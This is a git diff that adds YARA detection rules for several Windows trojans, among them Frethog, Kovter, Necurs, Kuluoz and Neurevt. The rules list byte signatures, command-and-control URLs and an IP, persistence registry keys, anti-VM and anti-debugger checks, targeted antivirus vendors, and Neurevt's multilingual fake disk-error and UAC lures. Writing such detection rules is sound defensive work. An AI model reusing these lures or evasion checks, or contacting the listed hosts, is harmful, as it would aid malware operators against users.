+		$hex1 = { 55 8b ec 83 e4 f8 83 ec 10 56 57 e8 ?? ?? ?? ?? be 10 30 40 00 56 68 02 02 00 00 ff ?? ?? ?? ?? ?? 85 c0 74 ?? 56 6a 02 ff ?? ?? ?? ?? ?? 85 c0 74 ?? 56 68 01 01 00 00 ff ?? ?? ?? ?? ?? 85 c0 74 ?? 6a ff ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? a3 ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? be 30 21 40 00 8d ?? ?? ?? a5 a5 59 a3 ?? ?? ?? ?? a5 8d ?? ?? ?? 50 68 40 21 40 00 a4 e8 ?? ?? ?? ?? 59 59 84 c0 75 ?? 8d ?? ?? ?? 50 68 4c 21 40 00 e8 ?? ?? ?? ?? 59 59 ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 59 ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 59 5f 33 c0 5e 8b e5 5d c3}
+		$hex2 = { 55 8b ec 51 83 ?? ?? ?? 53 8b ?? ?? ?? ?? ?? 56 57 bf 00 90 01 00 eb ?? 7c ?? 8b ?? ?? 56 ff ?? ?? ?? ?? ?? 03 c3 50 e8 ?? ?? ?? ?? 01 ?? ?? 8b ?? ?? 8b ?? ?? 83 c4 0c e8 ?? ?? ?? ?? 83 e8 00 74 ?? 48 75 ?? 6a 00 57 ff ?? ?? ?? ?? ?? ff ?? ?? ff ?? ?? ?? ?? ?? 8b f0 85 f6 75 ?? 8b ?? ?? 8b ?? ?? e8 ?? ?? ?? ?? f7 d8 1b c0 40 eb ?? 48 32 c0 eb ?? b0 01 5f 5e 5b c9 c3}
+	condition:
+		any of ($hex*)
+}
+
+rule TrojanDownloaderWin32PerkeshSamle
+{
+	meta:
+		Description  = "Trojan.Perkesh.rc"
+		ThreatLevel  = "5"
+	strings:
+		$a = "698d51" ascii wide
+		$b = "%s~%x.dat" ascii wide
+		$c = "\\drivers\\etc\\hosts" ascii wide
+	condition:
+		all of them
+}
+
+rule TrojanDownloaderWin32PerkeshDriverSamle
+{
+	meta:
+		Description  = "Trojan.Perkesh.rc"
+		ThreatLevel  = "5"
+	strings:
+		$a = "C:\\FOUND.001\\333888\\sys\\Driver\\i386\\feiji.pdb" ascii wide
+	condition:
+		$a
+}
diff --git a/yara-mikesxrs/g00dv1n/Trojan.Dropper.yar b/yara-mikesxrs/g00dv1n/Trojan.Dropper.yar
new file mode 100644
index 0000000..fe4a000
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Trojan.Dropper.yar
@@ -0,0 +1,12 @@
+rule TrojanDropperMicrojoin
+{
+	meta:
+		Description  = "Trojan.Microjoin.rc"
+		ThreatLevel  = "5"
+
+	strings:
+		$ep = { 55 8B EC 6A FF 68 00 00 00 00 68 00 00 00 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 5F 5E 5B 33 C0 83 C4 78 5D }
+
+	condition:
+		$ep at entrypoint
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Trojan.Frethog.yar b/yara-mikesxrs/g00dv1n/Trojan.Frethog.yar
new file mode 100644
index 0000000..36a8b9a
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Trojan.Frethog.yar
@@ -0,0 +1,30 @@
+rule TrojanDownloaderWin32Frethog_E_Sample
+{
+ 	meta:
+ 		Description  = "Trojan.Frethog.sm"
+ 		ThreatLevel  = "5"
+
+ 	strings:
+ 		$ = "C:\\WINDOWS\\system32\\msvbvm60.dll\\3" ascii wide
+		$ = "DownLoad File:" ascii wide
+		$ = "\\system32\\mswinsck.ocx" ascii wide
+
+		$ = "http://www.pc918.net/file.txt" ascii wide
+		$ = "http://www.yswm.net/file.txt" ascii wide
+		$ = "http://www.v138.net/file.txt" ascii wide
+		$ = "http://www.v345.net/file.txt" ascii wide
+		$ = "http://www.ahwm.net/file.txt" ascii wide
+		$ = "http://user.yswm.net/yswm" ascii wide
+
+		$ = "so118config" ascii wide
+		$ = "http://user.yswm.net" ascii wide
+		$ = "hide.exe" ascii wide
+		$ = "\\win.ini" ascii wide
+		$ = "\\system32\\svchost.exe" ascii wide
+		$ = "P2P DownFile:" ascii wide
+		$ = "yswm.runsoft" ascii wide
+		$ = "\\sys.dat" ascii wide
+
+ 	condition:
+ 		4 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Trojan.GBot.yar b/yara-mikesxrs/g00dv1n/Trojan.GBot.yar
new file mode 100644
index 0000000..ed21d67
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Trojan.GBot.yar
@@ -0,0 +1,15 @@
+rule TrojanGBotSampleA_Malex
+{
+	meta:
+		Description  = "Trojan.GBot.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "My name is \"G-Bot\" or \"GBot\"!"ascii wide
+		$ = "C:\\WINDOWS\\WinUpdaterstd\\svchost.exe"ascii wide
+		$hex0 = { 85 d2 74 ?? 8b ?? ?? 41 7f ?? 50 52 8b ?? ?? e8 ?? ?? ?? ?? 89 c2 58 52 8b ?? ?? e8 ?? ?? ?? ?? 5a 58 eb ?? f0 ?? ?? ?? 87 ?? 85 d2 74 ?? 8b ?? ?? 49 7c ?? f0 ?? ?? ?? 75 ?? 8d ?? ?? e8 ?? ?? ?? ?? c3}
+		$hex1 = { 53 56 8b f2 8b d8 66 ?? ?? ?? 66 3d b0 d7 72 ?? 66 3d b3 d7 76 ?? bb 66 00 00 00 eb ?? 66 3d b0 d7 74 ?? 8b c3 e8 ?? ?? ?? ?? 66 ?? ?? ?? 80 ?? ?? ?? 75 ?? 83 ?? ?? ?? 75 ?? c7 ?? ?? ?? ?? ?? ?? 8b c3 ff ?? ?? 8b d8 85 db 74 ?? 8b c3 e8 ?? ?? ?? ?? 8b c3 5e 5b c3}
+
+	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Trojan.Gamarue.Andromeda.yar b/yara-mikesxrs/g00dv1n/Trojan.Gamarue.Andromeda.yar
new file mode 100644
index 0000000..595568b
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Trojan.Gamarue.Andromeda.yar
@@ -0,0 +1,21 @@
+rule TrojanDropperWin32Gamarue_A_Andromeda
+{
+ 	meta:
+ 		Description  = "Trojan.Andromeda.sm"
+ 		ThreatLevel  = "5"
+
+ 	strings:
+		$ = { 66 8B 10 66 3B 11 75 1E 66 3B D3 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 3B D3 75 DE 33 C0 EB 05 1B C0 83 D8 FF 3B C3 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? ?? 56 FF D7 85 C0 75 ?? }
+		$a = "ldr\\CUSTOM\\local\\local\\Release\\ADropper.pdb" ascii wide
+		$ = "EpisodeNorth.exe" ascii wide
+		$ = "HandballChampionship.exe" ascii wide
+		$ = "\\#MSI" ascii wide
+		$ = "\\MSI" ascii wide
+		$ = "\\msiexec.exe" ascii wide
+		$ = "avp.exe" ascii wide
+		$ = "\\(empty).lnk" ascii wide
+		$b = "hsk\\ehs\\dihviceh\\serhlsethntrohntcohurrehem\\chsyst" ascii wide
+
+ 	condition:
+ 		(3 of them) or $a or $b
+}
diff --git a/yara-mikesxrs/g00dv1n/Trojan.Injector.yar b/yara-mikesxrs/g00dv1n/Trojan.Injector.yar
new file mode 100644
index 0000000..f8d452a
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Trojan.Injector.yar
@@ -0,0 +1,14 @@
+rule TrojanInjectorA
+{
+   meta:
+       Description = "Trojan.Injector.vb"
+       ThreatLevel = "5"
+
+   strings:
+		$ = "KERNEO32.nll"  ascii wide
+		$ = "CfeateFileAaocwwA"  ascii wide
+		$ = "RGPdFileREjhsoX"  ascii wide
+
+   condition:
+      all of them
+}
diff --git a/yara-mikesxrs/g00dv1n/Trojan.Kovter.yar b/yara-mikesxrs/g00dv1n/Trojan.Kovter.yar
new file mode 100644
index 0000000..b0f4545
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Trojan.Kovter.yar
@@ -0,0 +1,29 @@
+rule TrojanWin32KovterSample
+{
+	meta:
+		Description  = "Trojan.Kovter.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "AntiVirtualBox" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                
+		$ = "AntiVMware" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    
+		$ = "AntiVMwareEx" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  
+		$ = "AntiVirtualPC" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 
+		$ = "AntiSandboxie" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 
+		$ = "AntiThreadExpert" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              
+		$ = "AntiWireshark" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 
+		$ = "AntiJoeBox" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    
+		$ = "AntiRFP" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       
+		$ = "AntiAllDebugger" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               
+		$ = "AntiODBG" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      
+		$ = "AntiSoftIce" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   
+		$ = "AntiSyserDebugger" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             
+		$ = "AntiTrwDebugger" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               
+		$ = "AntiVirtualMachine" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            
+		$ = "AntiSunbeltSandboxie" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          
+	
+		$a = "i:\\MySoft\\project Locker\\optimize orig Binary\\kol\\err.pas" ascii wide
+
+	condition:
+		3 of them or $a
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Trojan.Kuluoz.yar b/yara-mikesxrs/g00dv1n/Trojan.Kuluoz.yar
new file mode 100644
index 0000000..06ce7eb
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Trojan.Kuluoz.yar
@@ -0,0 +1,16 @@
+rule TrojanDownloaderWin32KuluozSampleB
+{
+	meta:
+		Description  = "Trojan.Asprox.sm"
+		ThreatLevel  = "5"
+	strings:
+		$ = "svchost.exe" ascii wide
+		$ = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" ascii wide
+		$ = "/index.php?r=gate&id=" ascii wide
+		$ = "/index.php?r=gate/getipslist&id=" ascii wide
+		$ = "You fag" ascii wide
+		$ = "For group" ascii wide
+		$hex0 = { 55 8b ec 81 ec dc 00 00 00 90 68 1c 10 40 00 ff ?? ?? ?? ?? ?? 89 ?? ?? 68 28 10 40 00 8b ?? ?? 50 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 68 44 10 40 00 8b ?? ?? 51 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 68 58 10 40 00 8b ?? ?? 52 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 68 6c 10 40 00 8b ?? ?? 50 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 68 7c 10 40 00 8b ?? ?? 51 ff ?? ?? ?? ?? ?? 89 ?? ?? 68 94 10 40 00 8b ?? ?? 52 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? b8 50 89 40 00 2d b0 10 40 00 89 ?? ?? c7 ?? ?? ?? ?? ?? ?? eb ?? 8b ?? ?? 83 c1 01 89 ?? ?? 83 ?? ?? ?? 73 ?? 8b ?? ?? c6 ?? ?? ?? ?? ?? ?? ?? eb ?? c7 ?? ?? ?? ?? ?? ?? eb ?? 8b ?? ?? 83 c0 01 89 ?? ?? 83 ?? ?? ?? 73 ?? 8b ?? ?? c6 ?? ?? ?? ?? eb ?? c7 ?? ?? ?? ?? ?? ?? 90 8d ?? ?? ?? ?? ?? 52 8d ?? ?? 50 6a 00 6a 00 6a 04 6a 00 6a 00 6a 00 68 a4 10 40 00 6a 00 ff ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 6a 00 6a 18 8d ?? ?? 50 6a 00 8b ?? ?? ?? ?? ?? 51 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8b ?? ?? 83 c2 08 89 ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 50 6a 04 8d ?? ?? ?? ?? ?? 51 8b ?? ?? ?? ?? ?? 52 8b ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8b ?? ?? 89 ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 6a 00 68 00 00 00 08 6a 40 8d ?? ?? ?? ?? ?? 52 6a 00 68 1f 00 0f 00 8d ?? ?? 50 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8b ?? ?? 89 ?? ?? ?? ?? ?? 6a 40 6a 00 6a 01 8d ?? ?? ?? ?? ?? 52 6a 00 6a 00 6a 00 8d ?? ?? ?? ?? ?? 50 6a ff 8b ?? ?? 51 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? eb ?? 8b ?? ?? 83 c2 01 89 ?? ?? 8b ?? ?? 3b ?? ?? 73 ?? b9 b0 10 40 00 03 ?? ?? 8b ?? ?? ?? ?? ?? 03 ?? ?? 8a ?? 88 ?? eb ?? 90 c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 6a 40 6a 00 6a 01 8d ?? ?? ?? ?? ?? 51 6a 00 6a 00 6a 00 8d ?? ?? ?? ?? ?? 52 8b ?? ?? ?? ?? ?? 50 8b ?? ?? 51 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? 6a 40 68 00 30 00 00 68 00 00 50 00 6a 00 ff ?? ?? ?? ?? ?? 89 ?? ?? 8d ?? ?? ?? ?? ?? 50 68 00 10 00 00 8b ?? ?? 51 8b ?? ?? ?? ?? ?? 52 8b ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8b ?? ?? 8b ?? ?? 03 ?? ?? 89 ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? 89 ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? 89 ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 51 8b ?? ?? 52 8b ?? ?? 50 8b ?? ?? ?? ?? ?? 51 8b ?? ?? ?? ?? ?? 52 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8b ?? ?? 89 ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 6a 00 68 00 00 00 08 6a 40 8d ?? ?? ?? ?? ?? 51 6a 00 68 1f 00 0f 00 8d ?? ?? ?? ?? ?? 52 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8b ?? ?? 89 ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 6a 40 6a 00 6a 01 8d ?? ?? ?? ?? ?? 51 6a 00 6a 00 6a 00 8d ?? ?? ?? ?? ?? 52 6a ff 8b ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8b ?? ?? 03 ?? ?? ?? ?? ?? c6 ?? ?? 8b ?? ?? 03 ?? ?? ?? ?? ?? c6 ?? ?? ?? 8b ?? ?? 03 ?? ?? ?? ?? ?? 8b ?? ?? 89 ?? ?? 8b ?? ?? 03 ?? ?? ?? ?? ?? c6 ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? eb ?? 8b ?? ?? 83 c0 01 89 ?? ?? 8b ?? ?? 3b ?? ?? 73 ?? 8b ?? ?? ?? ?? ?? 03 ?? ?? 8b ?? ?? 03 ?? ?? 8a ?? 88 ?? eb ?? 90 8b ?? ?? ?? ?? ?? 52 8b ?? ?? ?? ?? ?? 50 ff ?? ?? 89 ?? ?? ?? ?? ?? 8b ?? ?? 89 ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 6a 40 6a 00 6a 01 8d ?? ?? ?? ?? ?? 50 6a 00 6a 00 6a 00 8d ?? ?? ?? ?? ?? 51 8b ?? ?? ?? ?? ?? 52 8b ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 6a 00 8b ?? ?? ?? ?? ?? 51 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 68 e8 03 00 00 ff ?? ?? ?? ?? ?? 6a 00 ff ?? ?? ?? ?? ?? 8b e5 5d c3}
+	condition:
+		(3 of them) or $hex0
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Trojan.Lethic.yar b/yara-mikesxrs/g00dv1n/Trojan.Lethic.yar
new file mode 100644
index 0000000..956631d
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Trojan.Lethic.yar
@@ -0,0 +1,13 @@
+rule TrojanWin32LethicBSample
+{
+	meta:
+		Description  = "Trojan.Lethic.sm"
+		ThreatLevel  = "5"
+	strings:
+		$ = "zaproxza" ascii wide
+		$ = "93.190.137.51" ascii wide
+		$ = "antaw" ascii wide
+		$hex0 = { e8 ?? ?? ?? ?? 8b ?? ?? 52 e8 ?? ?? ?? ?? 8b ?? ?? 50 e8 ?? ?? ?? ?? 68 74 43 40 00 e8 ?? ?? ?? ?? 89 ?? ?? 6a 33 68 00 40 40 00 8b ?? ?? 51 e8 ?? ?? ?? ?? 8b ?? ?? 89 ?? ?? ?? ?? ?? 8b ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? e9 ?? ?? ?? ?? 8b ?? ??}
+	condition:
+		(2 of them) or (any of ($hex*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Trojan.Necurs.yar b/yara-mikesxrs/g00dv1n/Trojan.Necurs.yar
new file mode 100644
index 0000000..6a12dfc
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Trojan.Necurs.yar
@@ -0,0 +1,61 @@
+rule TrojanWin32NecursSample
+{
+ 	meta:
+ 		Description  = "Trojan.Necurs.sm"
+ 		ThreatLevel  = "5"
+
+ 	strings:
+		$ = "some stupid error %u" ascii wide
+		$ = "loading" ascii wide
+		$ = "unloading" ascii wide
+		$ = "exception %08x %swhen %s at %p" ascii wide
+		$ = "microsoft.com" ascii wide
+		$ = "facebook.com" ascii wide
+		$a = "NitrGB" ascii wide
+		$ = "\\Installer\\{" ascii wide
+		$ = "%s%0.8X-%0.4X-%0.4X-%0.4X-%0.8X%0.4X}\\" ascii wide
+		$ = "syshost32" ascii wide
+		$ = "%s\\svchost.exe" ascii wide
+
+ 	condition:
+ 		(8 of them) or $a
+}
+
+rule TrojanWinNTNecursSample
+{
+ 	meta:
+ 		Description  = "Trojan.Necurs.sm"
+ 		ThreatLevel  = "5"
+
+ 	strings:
+		$a = "F:\\cut\\abler\\detecting\\overlapping\\am.pdb" ascii wide
+		$ = "VirusBuster Ltd" ascii wide
+		$ = "Beijing Jiangmin" ascii wide
+		$ = "SUNBELT SOFTWARE" ascii wide
+		$ = "Sunbelt Software" ascii wide
+		$ = "K7 Computing" ascii wide
+		$ = "Immunet Corporation" ascii wide
+		$ = "Beijing Rising" ascii wide
+		$ = "G DATA Software" ascii wide
+		$ = "Quick Heal Technologies" ascii wide
+		$ = "Comodo Security Solutions" ascii wide
+		$ = "CJSC Returnil Software" ascii wide
+		$ = "NovaShield Inc" ascii wide
+		$ = "BullGuard Ltd" ascii wide
+		$ = "Check Point Software Technologies Ltd" ascii wide
+		$ = "Panda Software International" ascii wide
+		$ = "Kaspersky Lab" ascii wide
+		$ = "FRISK Software International Ltd" ascii wide
+		$ = "ESET, spol. s r.o." ascii wide
+		$ = "Doctor Web Ltd" ascii wide
+		$ = "BitDefender SRL" ascii wide
+		$ = "BITDEFENDER LLC" ascii wide
+		$ = "Avira GmbH" ascii wide
+		$ = "GRISOFT, s.r.o." ascii wide
+		$ = "PC Tools" ascii wide
+		$ = "ALWIL Software" ascii wide
+		$ = "Agnitum Ltd" ascii wide
+
+ 	condition:
+ 		(8 of them) or $a
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Trojan.Nedsym.yar b/yara-mikesxrs/g00dv1n/Trojan.Nedsym.yar
new file mode 100644
index 0000000..dcf7b9f
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Trojan.Nedsym.yar
@@ -0,0 +1,15 @@
+rule TrojanWin32NedsymGSample
+{
+	meta:
+		Description  = "Trojan.Nedsym.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "qwertyuiopasdfghjklzxcvbnm123456789"  ascii wide
+		$ = "svcnost.exe"  ascii wide
+		$ = "Windows Init"  ascii wide
+		$ = "\\drivers\\etc\\hosts"  ascii wide
+
+	condition:
+		2 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Trojan.Neurevt.yar b/yara-mikesxrs/g00dv1n/Trojan.Neurevt.yar
new file mode 100644
index 0000000..bbea958
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Trojan.Neurevt.yar
@@ -0,0 +1,117 @@
+rule TrojanWin32NeurevtA_BackDoor
+{
+	meta:
+		Description  = "Trojan.Neurevt.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "%s\\__%08x.lnk" ascii wide
+		$ = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%s" ascii wide
+		$ = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce" ascii wide
+		$ = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" ascii wide
+		$ = "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run" ascii wide
+		$ = "{2227A280-3AEA-1069-A2DE-08002B30309D}" ascii wide
+		$ = "schtasks.exe" ascii wide
+		$ = "SYSTEM\\CurrentControlSet\\Control\\Session Manager" ascii wide
+		$ = "Software\\Classes\\CLSID\\%s\\%08X\\%s" ascii wide
+		$ = "%s\\%08X.pif" ascii wide
+		$ = "Windows ha detectado una carpeta da" ascii wide
+		$ = "Mostrar Detalles" ascii wide
+		$ = "Mas informaci" ascii wide
+		$ = "Restaurar archivos" ascii wide
+		$ = "Restaurar archivos y chequear el disco en busca de errores" ascii wide
+		$ = "Erro de Disco Cr" ascii wide
+		$ = "O Windows encontrou uma pasta corrompida no seu disco r" ascii wide
+		$ = "Mostrar detalhes" ascii wide
+		$ = "Mais detalhes sobre esse erro" ascii wide
+		$ = "Restaurar os arquivos" ascii wide
+		$ = "Restaurar os arquivos e verificar erros no disco" ascii wide
+		$ = "Kritischer Festplattenfehler" ascii wide
+		$ = "Windows hat einen fehlerhaften Ordner auf deiner Festplatte vorgefunden." ascii wide
+		$ = "Mehrere fehlerhafte Dateien wurden in dem Ordner 'Eigene Dokumente' gefunden. Um Datenverlust zu ver" ascii wide
+		$ = "Details anzeigen" ascii wide
+		$ = "Mehr Details zu diesem Fehler" ascii wide
+		$ = "Dateien wiederherstellen" ascii wide
+		$ = "Dateien wiederherstellen und Festplatte auf Fehler " ascii wide
+		$ = "Erreur Critique" ascii wide
+		$ = "Windows a trouv" ascii wide
+		$ = "Plusieurs fichiers corrompu sont trouv" ascii wide
+		$ = "Montre d" ascii wide
+		$ = "Plus de d" ascii wide
+		$ = "Kritieke foutmelding" ascii wide
+		$ = "Windows heeft een beschadigde map gevonden" ascii wide
+		$ = "Meerdere beschadigde bestanden zijn in de map 'Mijn Documenten' gevonden. Om dataverlies te voorkome" ascii wide
+		$ = "Toon details" ascii wide
+		$ = "Meer details over deze foutmelding" ascii wide
+		$ = "Herstel bestanden" ascii wide
+		$ = "Herstel bestanden en controleer de harde schijf voor errors" ascii wide
+		$ = "Kritik disk hatas" ascii wide
+		$ = "Windows sabit diskinizde bozuk bir klas" ascii wide
+		$ = "Bu hata hakk" ascii wide
+		$ = "Dosyalar" ascii wide
+		$ = "Hata ayr" ascii wide
+		$ = "Kritis Disk Kesalahan" ascii wide
+		$ = "Windows telah mengalami rusak folder pada hard drive Anda" ascii wide
+		$ = "Beberapa file rusak telah ditemukan di folder 'My Documents'. Untuk mencegah kerugian serius data, p" ascii wide
+		$ = "Tampilkan detail" ascii wide
+		$ = "Lebih rinci tentang kesalahan ini" ascii wide
+		$ = "mengembalikan file" ascii wide
+		$ = "Kembalikan file dan memeriksa disk untuk kesalahan" ascii wide
+		$ = "Errore critico dell'hard disk" ascii wide
+		$ = "Windows ha trovato una cartella corrotta nel vostro hard disk." ascii wide
+		$ = "Mostra dettagli" ascii wide
+		$ = "Maggiori dettagli su quest'errore" ascii wide
+		$ = "Ripristina i file" ascii wide
+		$ = "Ripristina i file e controlla il disco per errori." ascii wide
+		$ = "Kriittinen Levy Virhe" ascii wide
+		$ = "Windows on t" ascii wide
+		$ = "Useita korruptoituneita tiedostoja on l" ascii wide
+		$ = "Palauta tiedostot" ascii wide
+		$ = "Palauta tiedostot ja etsi virheit" ascii wide
+		$ = "Problem, krytyczny stan dysku" ascii wide
+		$ = "Windows znalazl korupcyjny folder w twoim twardym dysku." ascii wide
+		$ = "Duza ilosc zepsutych plikow zostala znaleziona w swoim folderze 'My Documents'. Zeby zachowac pamiec" ascii wide
+		$ = "Pokaz wiecej informacji" ascii wide
+		$ = "Wiecej danych na temat bledu" ascii wide
+		$ = "Przywracanie plik" ascii wide
+		$ = "Critical Disk Error" ascii wide
+		$ = "Windows has encountered a corrupted folder on your hard drive" ascii wide
+		$ = "Multiple corrupted files have been found in the folder 'My Documents'. To prevent serious loss of da" ascii wide
+		$ = "Show details" ascii wide
+		$ = "More details about this error" ascii wide
+		$ = "Restore files and check disk for errors" ascii wide
+		$ = "http://answers.microsoft.com/en-us/windows/forum/windows_vista-windows_programs/corrupted-documents-folder/e2a7660f-8eea-4f27-b2e6-e77a0f0c1535" ascii wide
+		$ = "uac" ascii wide
+		$ = "nuac" ascii wide
+		$ = "Has denegado los privilegios de Windows para la utilidad de restauraci" ascii wide
+		$ = "Error en los privilegios" ascii wide
+		$ = "Erro de privil" ascii wide
+		$ = "Sie verweigerten Windows die Privilegien, das Dateiwiederherstellungswerkzeug zu nutzen. Bitte w" ascii wide
+		$ = "Privilegfehler" ascii wide
+		$ = "Vous avez rejet" ascii wide
+		$ = "Erreur de privil" ascii wide
+		$ = "U heeft de nodige rechten afgewezen voor de Windows herstelprocedure. Selecteer JA op de volgende UA" ascii wide
+		$ = "Toestemming error" ascii wide
+		$ = "Windows dosya restorasyon program" ascii wide
+		$ = "Izin hatas" ascii wide
+		$ = "Anda menyangkal hak-hak istimewa yang tepat untuk utilitas restorasi file Windows. Silakan pilih YES" ascii wide
+		$ = "Privilege Kesalahan" ascii wide
+		$ = "Hai negato i privilegi necessari a Windows per riparare i file. Selezione \"Si\" nella seguente finest" ascii wide
+		$ = "Errore nei privilegi" ascii wide
+		$ = "Et sallinut oikeuksia Windowsin tiedostojen palautus ohjelmistolle. Ole hyv" ascii wide
+		$ = "Windows file restoration utility" ascii wide
+		$ = "You denied the proper privileges to the Windows file restoration utility. Please select YES on the f" ascii wide
+		$ = "Privilege Error" ascii wide
+		$ = "local ip detected" ascii wide
+
